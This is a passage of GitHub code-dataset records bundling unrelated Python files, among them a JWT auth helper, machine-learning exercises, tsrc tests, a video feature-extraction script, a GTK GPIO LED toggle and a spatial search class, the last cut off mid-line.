{"seq_id": "43585757383", "text": "import datetime\nfrom enum import Enum\nfrom typing import Any, Set\n\nimport jwt\n\nfrom mwdb.core.config import app_config\n\n\nclass AuthScope(Enum):\n    session = \"session\"\n    api_key = \"api_key\"\n    set_password = \"set_password\"\n    download_file = \"download_file\"\n\n\ndef generate_token(fields, scope, expiration=None):\n    issued_at = datetime.datetime.now(tz=datetime.timezone.utc)\n    token_claims = {\n        **fields,\n        \"iat\": issued_at,\n        \"aud\": app_config.mwdb.base_url,\n        \"scope\": scope.value,\n    }\n\n    if \"login\" in fields.keys():\n        token_claims[\"sub\"] = fields[\"login\"]\n    if expiration is not None:\n        token_claims[\"exp\"] = issued_at + datetime.timedelta(seconds=expiration)\n    payload = {**fields, **token_claims}\n    token = jwt.encode(payload, app_config.mwdb.secret_key, algorithm=\"HS512\")\n    return token\n\n\ndef verify_token(token: str, scope: AuthScope) -> Any:\n    try:\n        data = jwt.decode(\n            token,\n            key=app_config.mwdb.secret_key,\n            algorithms=[\"HS512\"],\n            audience=app_config.mwdb.base_url,\n            options={\"verify_aud\": True},\n        )\n        if data.get(\"scope\") != scope.value:\n            return None\n\n        if scope.value != \"download_file\" and \"sub\" not in data:\n            return None\n\n    except jwt.InvalidTokenError:\n        return None\n    return data\n\n\ndef verify_legacy_token(token: str, required_fields: Set[str]) -> Any:\n    try:\n        data = jwt.decode(\n            token,\n            key=app_config.mwdb.secret_key,\n            algorithms=[\"HS512\"],\n        )\n        if set(data.keys()) != required_fields:\n            return None\n\n    except jwt.InvalidTokenError:\n        return None\n    return data\n", "repo_name": "CERT-Polska/mwdb-core", "sub_path": "mwdb/core/auth.py", "file_name": "auth.py", "file_ext": "py", "file_size_in_byte": 1729, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 279, "dataset": "github-code", "pt": "78", "api": [{"api_name": "enum.Enum", "line_number": 10, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 18, "usage_type": "attribute"}, {"api_name": "mwdb.core.config.app_config.mwdb", "line_number": 22, "usage_type": "attribute"}, {"api_name": "mwdb.core.config.app_config", "line_number": 22, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 29, "usage_type": "call"}, {"api_name": "jwt.encode", "line_number": 31, "usage_type": "call"}, {"api_name": "mwdb.core.config.app_config.mwdb", "line_number": 31, "usage_type": "attribute"}, {"api_name": "mwdb.core.config.app_config", "line_number": 31, "usage_type": "name"}, {"api_name": "jwt.decode", "line_number": 37, "usage_type": "call"}, {"api_name": "mwdb.core.config.app_config.mwdb", "line_number": 39, "usage_type": "attribute"}, {"api_name": "mwdb.core.config.app_config", "line_number": 39, "usage_type": "name"}, {"api_name": "mwdb.core.config.app_config.mwdb", "line_number": 41, "usage_type": "attribute"}, {"api_name": "mwdb.core.config.app_config", "line_number": 41, "usage_type": "name"}, {"api_name": "jwt.InvalidTokenError", "line_number": 50, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 35, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 55, "usage_type": "name"}, {"api_name": "jwt.decode", "line_number": 57, "usage_type": "call"}, {"api_name": "mwdb.core.config.app_config.mwdb", "line_number": 59, "usage_type": "attribute"}, {"api_name": "mwdb.core.config.app_config", "line_number": 59, "usage_type": "name"}, {"api_name": "jwt.InvalidTokenError", "line_number": 65, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 55, "usage_type": "name"}]}
{"seq_id": "28797705591", "text": "from sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import train_test_split\n\nimport mglearn\n\n\nX, y = mglearn.datasets.make_wave(n_samples=60)\n\nprint(type(y))\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state=42)\n\nlr = LinearRegression()\nlr.fit(X_train, y_train)\n\nprint(f'lr.coef: {lr.coef_}\\nlr.intercept_: {lr.intercept_}')\nprint(f'Train score: {lr.score(X_train, y_train)}\\nTest score: {lr.score(X_test, y_test)}')\n", "repo_name": "sschekotikhin/machine-learning", "sub_path": "L2/wave.py", "file_name": "wave.py", "file_ext": "py", "file_size_in_byte": 466, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "mglearn.datasets.make_wave", "line_number": 7, "usage_type": "call"}, {"api_name": "mglearn.datasets", "line_number": 7, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 11, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 13, "usage_type": "call"}]}
{"seq_id": "12398763630", "text": "#Using the master list of matches between the LJ and CH datasets and the LJ\n#relationship triples, this script creates a dictionary where each key is a\n#LJ person, and each person key contains a list of dictionaries for each\n#person they are related to. This json output will be used to create a csv of\n#source and target for use in Gephi.\n\nfrom rdflib import Graph\nimport json\n\n\n#create data graph for LJ triples\nlj = Graph()\n\n#Parse source, adding the resulting triples to the Graph.\nlj.parse(\"relationships.nt\", format=\"nt\")\n\n# for s,p,o in lj:\n#     print(s)\n\nmatch_relationships = {}\n\nwith open ('master_matches.json', 'r') as matches:\n    master_matches = json.load(matches)\n\n\nfor a_match in master_matches:\n    for s,p,o in lj:\n        if str(p)==\"http://purl.org/vocab/relationship/knowsOf\":\n            if a_match==str(s) or a_match==str(o):\n                if a_match not in match_relationships:\n                    match_relationships[a_match] = []\n                if a_match==str(s):\n                    one_matchRELs = {}\n                    one_matchRELs[\"relationship\"] = p\n                    one_matchRELs[\"target\"] = o\n                else:\n                    one_matchRELs = {}\n                    one_matchRELs[\"relationship\"] = p\n                    one_matchRELs[\"target\"] = s\n                match_relationships[a_match].append(one_matchRELs)\n\n##print(len(match_relationships))\n\nwith open ('relationships_of_matches.json', 'w') as f:\n    f.write(json.dumps(match_relationships, indent=4))\n\n\n\n", "repo_name": "mreesele/CH-LJ", "sub_path": "get_LJ_relationships.py", "file_name": "get_LJ_relationships.py", "file_ext": "py", "file_size_in_byte": 1516, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rdflib.Graph", "line_number": 12, "usage_type": "call"}, {"api_name": "json.load", "line_number": 23, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "23667571744", "text": "from pathlib import Path\n\nfrom cli_ui.tests import MessageRecorder\n\nfrom tsrc.git import is_shallow\nfrom tsrc.test.helpers.cli import CLI\nfrom tsrc.test.helpers.git_server import GitServer\n\n\ndef assert_shallow_clone(workspace_path: Path, repo: str) -> None:\n    repo_path = workspace_path / repo\n    assert is_shallow(repo_path)\n\n\ndef test_shallow_clones(\n    tsrc_cli: CLI, git_server: GitServer, workspace_path: Path\n) -> None:\n    git_server.add_repo(\"foo/bar\")\n    git_server.add_repo(\"spam/eggs\")\n    git_server.push_file(\"foo/bar\", \"bar.txt\", contents=\"this is bar\")\n\n    manifest_url = git_server.manifest_url\n    tsrc_cli.run(\"init\", \"--shallow\", manifest_url)\n    assert_shallow_clone(workspace_path, \"foo/bar\")\n    assert_shallow_clone(workspace_path, \"spam/eggs\")\n\n    git_server.add_repo(\"foo/baz\")\n    tsrc_cli.run(\"sync\")\n    assert_shallow_clone(workspace_path, \"foo/baz\")\n\n\ndef test_shallow_with_fix_ref(\n    tsrc_cli: CLI,\n    git_server: GitServer,\n    workspace_path: Path,\n    message_recorder: MessageRecorder,\n) -> None:\n    git_server.add_repo(\"foo\")\n    initial_sha1 = git_server.get_sha1(\"foo\")\n    git_server.push_file(\"foo\", \"one.c\")\n    git_server.manifest.set_repo_sha1(\"foo\", initial_sha1)\n\n    manifest_url = git_server.manifest_url\n    tsrc_cli.run_and_fail(\"init\", \"--shallow\", manifest_url)\n    assert message_recorder.find(\"Cannot use --shallow with a fixed sha1\")\n", "repo_name": "your-tools/tsrc", "sub_path": "tsrc/test/cli/test_shallow_clones.py", "file_name": "test_shallow_clones.py", "file_ext": "py", "file_size_in_byte": 1400, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 198, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pathlib.Path", "line_number": 10, "usage_type": "name"}, {"api_name": "tsrc.git.is_shallow", "line_number": 12, "usage_type": "call"}, {"api_name": "tsrc.test.helpers.cli.CLI", "line_number": 16, "usage_type": "name"}, {"api_name": "tsrc.test.helpers.git_server.GitServer", "line_number": 16, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 16, "usage_type": "name"}, {"api_name": "tsrc.test.helpers.cli.CLI", "line_number": 33, "usage_type": "name"}, {"api_name": "tsrc.test.helpers.git_server.GitServer", "line_number": 34, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 35, "usage_type": "name"}, {"api_name": "cli_ui.tests.MessageRecorder", "line_number": 36, "usage_type": "name"}]}
{"seq_id": "70916888266", "text": "import math\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.ensemble import RandomForestClassifier\n\n\nclass ModelBuilder:\n    @staticmethod\n    def _buildKNN(properties):\n        n_neighbors = properties['num_neighbors']\n\n        algorithm = properties['search_algorithm']\n        if properties['search_algorithm'] == 'linear':\n            algorithm = 'brute'\n\n        metric = properties['distance']\n\n        return KNeighborsClassifier(\n            n_neighbors=n_neighbors,\n            metric=metric,\n            algorithm=algorithm,\n            n_jobs=-1)\n\n    @staticmethod\n    def _buildRandomForest(properties, feature_count):\n        n_estimators = properties['num_trees']\n        criterion = properties['criterion']\n\n        max_features = properties['max_features']\n        if max_features == 'demi_sqrt':\n            max_features = math.floor(math.sqrt(feature_count) / 2)\n\n        return RandomForestClassifier(\n            n_estimators=n_estimators, criterion=criterion,\n            max_features=max_features, n_jobs=-1)\n", "repo_name": "FlorentinTh/LE2ML-Learning-Module", "sub_path": "src/model_builder.py", "file_name": "model_builder.py", "file_ext": "py", "file_size_in_byte": 1048, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 17, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 30, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 32, "usage_type": "call"}]}
{"seq_id": "35619548324", "text": "import streamlit as st\nimport numpy as np\nimport pandas as pd\n\nfrom st_aggrid import AgGrid, DataReturnMode, GridUpdateMode, GridOptionsBuilder\n\ndef app(data, data_whs):\n    df_template = pd.DataFrame(\n        '',\n        index=range(10),\n        columns=list('abcde')\n    )\n\n    with st.form('example form') as f:\n        st.header('Example Form')\n        response = AgGrid(df_template, editable=True, fit_columns_on_grid_load=True)\n        st.form_submit_button()\n\n    st.write(response['data'])  \n\n# def app(data):\n#     st.title('Promo DB')\n#     #st.write (st.session_state)\n#     st.dataframe(data)\n#     print (type(data))\n\n\n# df['date'] = pd.to_datetime(df['date'])\n# df = df.style.format({'date': lambda x: \"{}\".format(x.strftime('%m/%d/%Y %H:%M:%S'))}).set_table_styles('styles')\n# st.dataframe(df)", "repo_name": "GODNESTUM/Promo-Tracker", "sub_path": "promo_3.py", "file_name": "promo_3.py", "file_ext": "py", "file_size_in_byte": 808, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.DataFrame", "line_number": 8, "usage_type": "call"}, {"api_name": "streamlit.form", "line_number": 14, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 15, "usage_type": "call"}, {"api_name": "st_aggrid.AgGrid", "line_number": 16, "usage_type": "call"}, {"api_name": "streamlit.form_submit_button", "line_number": 17, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 19, "usage_type": "call"}]}
{"seq_id": "71695608252", "text": "import numpy as np\nimport cv2 as cv\nimport PIL as image\nimport os\nimport datetime\n\n#This is the path to the KTH folder\npath = r\"C:\\Users\\liuyu\\Desktop\\Bigdata\\KTH\\frame\"\n\ndirectory = r\"C:\\Users\\liuyu\\Desktop\\Bigdata\\KTH\\boxing\"\n\ntestfile = open(r'C:\\Users\\liuyu\\Desktop\\pop.csv','w+')\n\n#size\n#Resize the frame and only use the first 100 frames\nwidth = 40\nheight = 30\n#generate function for test\ndef generate(col,row):\n    A =[]\n    for i in range(row):\n        A.append([np.random.randint(0,256) for j in range(col)])\n    return A\n\ndef ALMD(pre_frame,next_frame):\n    Upper_ALMD = []\n    Lower_ALMD = []\n    pre = np.reshape(pre_frame,(width,height))\n    nex = np.reshape(next_frame,(width,height))\n    for i in range(1,width-1):\n        for j in range(1,height-1):\n            g_pc = pre[i][j]\n            xp_array = [pre[i-1][j-1],pre[i][j-1],pre[i+1][j-1],pre[i][j-1],pre[i][j+1],\n            pre[i-1][j+1],pre[i][j+1],pre[i+1][j+1]]\n            x_p = np.median(np.sort([int(x)-int(g_pc) for x in xp_array]))\n            g_nc = nex[i][j]\n            xn_array = [nex[i-1][j-1],nex[i][j-1],nex[i+1][j-1],nex[i][j-1],nex[i][j+1],\n            nex[i-1][j+1],nex[i][j+1],nex[i+1][j+1]]\n            nl_nc = np.zeros(8)\n            pl_nc = np.zeros(8)\n            for p in range(8):\n                nl_nc[p] = int(xn_array[p]) - int(g_nc)\n                pl_nc[p] = int(xp_array[p]) - int(g_nc)\n            x_n = np.median(np.sort(nl_nc))\n            x_ba = (x_p+x_n)/2\n            upper_sum = 0\n            lower_sum = 0\n            for m in range(8):\n                upper_sum += ((pl_nc[m]>x_ba)!=(nl_nc[m]>x_ba))*(2**m)\n                lower_sum += (((pl_nc[m]<(-x_ba)))!=(nl_nc[m]<(-x_ba)))*(2**m)\n            Upper_ALMD.append(upper_sum)\n            Lower_ALMD.append(lower_sum)\n    Result=[Upper_ALMD,Lower_ALMD]\n    return Result\nbegintime = datetime.datetime.now()\nfor file in os.listdir(directory):\n    #Using count to rename the frame extract from the video\n    count = 0\n    filename = file[:-11]\n    V=[]\n    Q=[]\n    print(\"Begin subtract background for {}!\".format(filename))\n    try:\n        os.mkdir(os.path.join(path,filename))\n    except:\n        print(\"Create folder{} fail!\".format(filename))\n\n    video = cv.VideoCapture(os.path.join(directory,file))\n\n    #Another way to do the background subtraction\n    #fgbg = cv.createBackgroundSubtractorKNN()\n\n    fgbg = cv.createBackgroundSubtractorMOG2()\n\n    while count<100:\n        success,frame = video.read()\n        if success == True:\n            next_frame = fgbg.apply(frame)\n            next_frame = cv.resize(next_frame,(40,30))\n            cv.imwrite(os.path.join(os.path.join(path,filename),filename+\"_{}.jpg\".format(count)),next_frame)\n            if count!= 0:\n                Result=ALMD(pre_frame,next_frame)\n                V.append(Result[0])\n                Q.append(Result[1])\n            else:\n                success1,frame1 = video.read()\n                pre_frame = fgbg.apply(frame1)\n                pre_frame = cv.resize(pre_frame,(40,30))\n                cv.imwrite(os.path.join(os.path.join(path,filename),filename+\"_{}.jpg\".format(count)),pre_frame)\n            count += 1\n            if count!=1:\n                pre_frame = next_frame\n\n        else:\n            break\n\n    print(\"Finish subtract background for {}!\".format(filename))\n    testfile.writelines(filename.split('_')[1]+'|')\n    testfile.writelines(str(V)+'|')\n    testfile.writelines(str(Q)+'\\n')\nendtime = datetime.datetime.now()\nvar = endtime - begintime\nprint(\"begin time is \"+ str(begintime))\nprint(\"end time is \"+ str(endtime))\nprint(\"var is \"+ str(var))\n\n#Test part\n# A1 = generate(160,120)\n# A2 = generate(160,120)\n# Result = ALMD(A1,A2)\n# print(np.size(Result[0]))\n", "repo_name": "liuyuhanalex/CS585Project", "sub_path": "ALMD with Resize.py", "file_name": "ALMD with Resize.py", "file_ext": "py", "file_size_in_byte": 3726, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.random.randint", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.reshape", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 56, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "cv2.createBackgroundSubtractorMOG2", "line_number": 73, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 79, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 101, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 101, "usage_type": "attribute"}]}
{"seq_id": "22962318112", "text": "\"\"\"\nhttps://leetcode.com/problems/random-pick-with-weight/\n\nYou are given a 0-indexed array of positive integers w \nwhere w[i] describes the weight of the ith index.\n\nYou need to implement the function pickIndex(), which \nrandomly picks an index in the range [0, w.length - 1] \n(inclusive) and returns it. The probability of picking an \nindex i is w[i] / sum(w).\n\nFor example, if w = [1, 3], the probability of picking \nindex 0 is 1 / (1 + 3) = 0.25 (i.e., 25%), and the \nprobability of picking index 1 is 3 / (1 + 3) = 0.75 (i.e., 75%).\n \nExample 1:\nInput\n[\"Solution\",\"pickIndex\"]\n[[[1]],[]]\nOutput\n[null,0]\nExplanation\nSolution solution = new Solution([1]);\nsolution.pickIndex(); // return 0. The only option is to \nreturn 0 since there is only one element in w.\n\nExample 2:\nInput\n[\"Solution\",\"pickIndex\",\"pickIndex\",\"pickIndex\",\"pickIndex\",\"pickIndex\"]\n[[[1,3]],[],[],[],[],[]]\nOutput\n[null,1,1,1,1,0]\nExplanation\nSolution solution = new Solution([1, 3]);\nsolution.pickIndex(); // return 1. It is returning the \nsecond element (index = 1) that has a probability of 3/4.\nsolution.pickIndex(); // return 1\nsolution.pickIndex(); // return 1\nsolution.pickIndex(); // return 1\nsolution.pickIndex(); // return 0. It is returning the \nfirst element (index = 0) that has a probability of 1/4.\n\nSince this is a randomization problem, multiple answers are allowed.\nAll of the following outputs can be considered correct:\n[null,1,1,1,1,0]\n[null,1,1,1,1,1]\n[null,1,1,1,0,0]\n[null,1,1,1,0,1]\n[null,1,0,1,0,0]\n......\nand so on.\n \nConstraints:\n\n1 <= w.length <= 10^4\n1 <= w[i] <= 10^5\npickIndex will be called at most 10^4 times.\n\"\"\"\nfrom typing import List\nfrom copy import deepcopy\nfrom random import randint\n\n\nclass BruteForce:\n    def __init__(self, nums: List[int]):\n        # Time complexity: O(max(x) n)\n        # Space complexity: O(max(x) n)\n        # Construct a list where the numbers are repeated\n        # the times of the number itself, i.e.\n        # nums = [2, 5, 3]\n        # weights = [2, 2, 5, 5, 5, 5, 5, 3, 3, 3]\n        self.weights = []\n        n = len(nums)\n        for i in range(n):\n            for _ in range(nums[i]):\n                self.weights.append(i)\n        self.last_index = len(self.weights) - 1\n\n    def pick_index(self) -> int:\n        # Time complexity: O(1)\n        # Pick an index by generating a random integer\n        rnd = randint(0, self.last_index)\n        return self.weights[rnd]\n\n\nclass PrefixSumLinearScan:\n    def __init__(self, nums: List[int]):\n        # Time complexity: O(n)\n        # Space complexity: O(n)\n        # Construct a list with the prefix sums of `nums`\n        self.prefix_sums = []\n        self.size = len(nums)\n        prefix_sum = 0\n        for i in range(self.size):\n            prefix_sum += nums[i]\n            self.prefix_sums.append(prefix_sum)\n\n        self.total_sum = prefix_sum\n\n    def pick_index(self) -> int:\n        # Time complexity: O(n)\n\n        # Generate a randon index\n        target = randint(1, self.total_sum)\n\n        # Loop over the `prefix_sums`\n        for i in range(self.size):\n            if target <= self.prefix_sums[i]:\n                return i\n\n\nclass PrefixSumBinarySearch:\n    def __init__(self, nums: List[int]):\n        # Time complexity: O(n)\n        # Space complexity: O(n)\n        # Construct a list with the prefix sums of `nums`\n        self.prefix_sums = []\n        prefix_sum = 0\n        n = len(nums)\n        for i in range(n):\n            prefix_sum += nums[i]\n            self.prefix_sums.append(prefix_sum)\n\n        self.total_sum = prefix_sum\n        self.last_index = n - 1\n\n    def pick_index(self) -> int:\n        # Binary search\n        # Time complexity: O(logn)\n        target = randint(1, self.total_sum)\n        left, right = 0, self.last_index\n        while left < right:\n            mid = (left + right) // 2\n            if target <= self.prefix_sums[mid]:\n                right = mid\n            else:\n                left = mid + 1\n        return right\n\n\nif __name__ == \"__main__\":\n    print(\"-\" * 60)\n    print(\"Random pick with weight\")\n    print(\"-\" * 60)\n\n    test_cases = [\n        # (nums), no tests\n        ([1, 1]),\n        ([1, 2]),\n        ([1, 8]),\n        ([100, 100]),\n        ([100, 1000]),\n        ([1000, 1, 1000]),\n        ([1000, 100000, 1000]),\n        ([1, 1, 1, 2, 8, 100]),\n        ([1] * 88 + [1000]),\n        (list(range(10, 2000, 10))),\n    ]\n\n    num_picks = 8\n\n    for nums in test_cases:\n\n        nums_str = str(nums)\n        if len(nums_str) > 60:\n            nums_str = nums_str[:55] + \" ...]\"\n        print(\"nums:\", nums_str)\n\n        brute_force = BruteForce(nums)\n        prefix_sum_linear_scan = PrefixSumLinearScan(nums)\n        prefix_sum_binary_search = PrefixSumBinarySearch(nums)\n\n        result = []\n        for i in range(num_picks):\n            result.append(brute_force.pick_index())\n        output = f\"               brute_force = \"\n        output += str(result)\n        print(output)\n\n        result = []\n        for i in range(num_picks):\n            result.append(prefix_sum_linear_scan.pick_index())\n        output = f\"    prefix_sum_linear_scan = \"\n        output += str(result)\n        print(output)\n\n        result = []\n        for i in range(num_picks):\n            result.append(prefix_sum_binary_search.pick_index())\n        output = f\"  prefix_sum_binary_search = \"\n        output += str(result)\n        print(output)\n\n        print()\n", "repo_name": "daalgi/algorithms", "sub_path": "search/random_pick_with_weight.py", "file_name": "random_pick_with_weight.py", "file_ext": "py", "file_size_in_byte": 5412, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.List", "line_number": 65, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 82, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 87, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 104, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 113, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 130, "usage_type": "call"}]}
{"seq_id": "44201304769", "text": "# Name: led_toggle.py\n# This file is for MPIO10 Extension Module, run on MP510 Single Board Computer\n# If there is any issue such as \"No device found\"\n# Please make sure the MPIO-10 driver is fully installed\n# To run this python code, you need install pyhon3 package\n# GTK graphic interface is recommand operating on Linux system such as Debian\n# for more infomation about GTK3, please visit:https://www.gtk.org/\n#\n# Author: Johnson Chen <johnson35762@gmail.com>\n# Date: 2022/09/09\n# ISSUE:\n#\n# Visit out forum for more information: https://forum.mapleboard.org/\n\n# Import necessary libraries\nimport gi\nimport os\n\n# Define GTK version 3.0\ngi.require_version(\"Gtk\", \"3.0\")\n\n# Import GTK graphical interface\nfrom gi.repository import Gtk\n\n# define led variable as False state\nled = False\n\n# Set gpio0 direction output, it can be gpio1-5\n# Gpio6 and gpio7 can only define as input\nos.system('echo out > /sys/class/gpio/gpio0/direction')\n\n# Write 0 into gpio0/value to turn off led\nos.system('echo 0 > /sys/class/gpio/gpio0/value')\n\n# Define a GUI window object\nclass MyWindow(Gtk.Window):\n    # Initialize graphical window\n    def __init__(self):\n        # Window title\n        super().__init__(title=\"MPIO10 GTK demo\")\n        # Add button1 named \"Toggle LED\"\n        self.button = Gtk.Button(label=\"Toggle LED\")\n        # Link the button to function\n        self.button.connect(\"clicked\", self.toggle_button_clicked)\n        # Add button to self object\n        self.add(self.button)\n    # When button pressed\n    def toggle_button_clicked(self, widget):\n    \n        # declare led is a gloable variable that define already\n        global led\n        \n        # Invert led when button press\n        led = not led\n        # If led is true\n        if led == True:\n            print(\"LED ON\")\n            # Turn on led\n            os.system('echo 1 > /sys/class/gpio/gpio0/value')\n        else:\n            print(\"LED OFF\")\n            # Turn off led\n            os.system('echo 0 > /sys/class/gpio/gpio0/value')\n\n# Define win as MyWindow object\nwin = MyWindow()\n\n# When close the window, exit the program\nwin.connect(\"destroy\", Gtk.main_quit)\n\n# Show the window\nwin.show_all()\n\n# Execute the main code\nGtk.main()\n", "repo_name": "MapleBoard/MPIO-10-Demo", "sub_path": "led_toggle.py", "file_name": "led_toggle.py", "file_ext": "py", "file_size_in_byte": 2209, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "gi.require_version", "line_number": 20, "usage_type": "call"}, {"api_name": "os.system", "line_number": 30, "usage_type": "call"}, {"api_name": "os.system", "line_number": 33, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.Window", "line_number": 36, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 36, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Button", "line_number": 42, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 42, "usage_type": "name"}, {"api_name": "os.system", "line_number": 59, "usage_type": "call"}, {"api_name": "os.system", "line_number": 63, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.main_quit", "line_number": 69, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 69, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.main", "line_number": 75, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 75, "usage_type": "name"}]}
{"seq_id": "2556521554", "text": "# -*- coding: utf-8 -*-\n\n#from sdfconf import sdf, mol2\ntry:\n    import sdf, mol2\nexcept ImportError:\n    from sdfconf import sdf, mol2\nfrom collections import OrderedDict as OrDi\nimport bisect as bi\nimport numpy\n\nclass Findable(object):\n    \n    def __init__(self, iterable=None, **kwargs):\n        self._maindict = None #ordered dict jonka alkiot sisältävät koordinaatit listana, indeksi avaimena\n        self._orders = [] #Lista joka tulee sisältämää dimensioiden määrän listapareja (tuplessa), jotka sisältävät kunkin koordinaattipisteen indeksin ja yhden dimension koordinaatin. Listat järjestetty kunkin dimension mukaan kasvavaan järjestykseen.\n        self._thelen = 0 #Dimensioiden lukumäärä\n        if iterable:\n            self.set_iterable(iterable, kwargs.get('ignores', ['H'])) #Luodaan datarakenne\n                \n        else:\n            self.set_iterable([]) #Tyhjä rakenne\n            \n    def set_iterable(self, iterable, ignores=[]):\n        if type(iterable) in (list, tuple):\n            pass\n        elif type(iterable) in (sdf.Sdfmole,mol2.Mol2Mol):\n            iterable = [list(atom[1]) for atom in iterable.atomsGenerator(ignores=ignores)]\n        else:\n            raise TypeError('Input must be of type list, tuple, Sdfmole, Mol2Mol.')\n        \n        if type(iterable[0]) not in (list, tuple):\n            iterable = (iterable,) \n            \n        self._thelen = len(iterable[0]) #ks init\n        self._maindict = OrDi(enumerate(iterable)) #ks init\n        self._orders = [] #ks init\n        for i in range(self._thelen): #joka dimensiolle\n            self._orders.append(([],[])) #lisätään listapari\n            for key in sorted(self._maindict, key=lambda x: self._maindict[x][i]): #jokaiselle pisteelle (koordinaattien lukujärjestyksessä)\n                self._orders[i][0].append(  key  ) #listaan 0 lisätään indeksi\n                self._orders[i][1].append(  self._maindict[key][i]  ) #listaan 0 lisätään koordinaatti\n        \n    def findinrange(self, coord, radius, indexes=None , level = 0): #kutsuttaessa anna hakukoordinaatti ja säde, muut auttavat rekursiivisessa dimensioiden käsittelyssä\n        '''\n        tehdään ensin haut joilla haetaan säteen sisällä olevat pisteen yksittäisten dimensioiden mukaan ja vasta siten läytyneille pisteille tehdään todellinen etäisyyshaku.\n        Eli ensin etsitään säteen mukainen kuutio ja vasta sen sisältä pallo :P (kun kolme ulottuvuutta)\n        '''\n        \n        if not indexes:\n            indexes = self._maindict.keys() #haetaan alkuperäiset indeksit\n        \n        ind_left  = bi.bisect_right( self._orders[level][1] , coord[level]-radius ) #puolitushaku piste - radius\n        ind_right =  bi.bisect_left( self._orders[level][1] , coord[level]+radius ) #puolitushaku piste + radius\n        \n        if indexes is not self._maindict.keys(): #mikäli ei ensimmäinen taso\n            new_indexes = list( set(indexes) & set(self._orders[level][0][ind_left:ind_right]) ) #ulosmenevistä indekseistä poistetaan ne joita ei ollut edellisessä haussa\n        else:\n            new_indexes = self._orders[level][0][ind_left:ind_right] #indeksit puolitushakujen välistä läytyvät\n        \n        if len(new_indexes)==0: #mikäli ei läytynyt mitään, palaa\n            return new_indexes\n        elif level<self._thelen-1: #mikäli ei olla viimeisessa dimensiossa\n            return 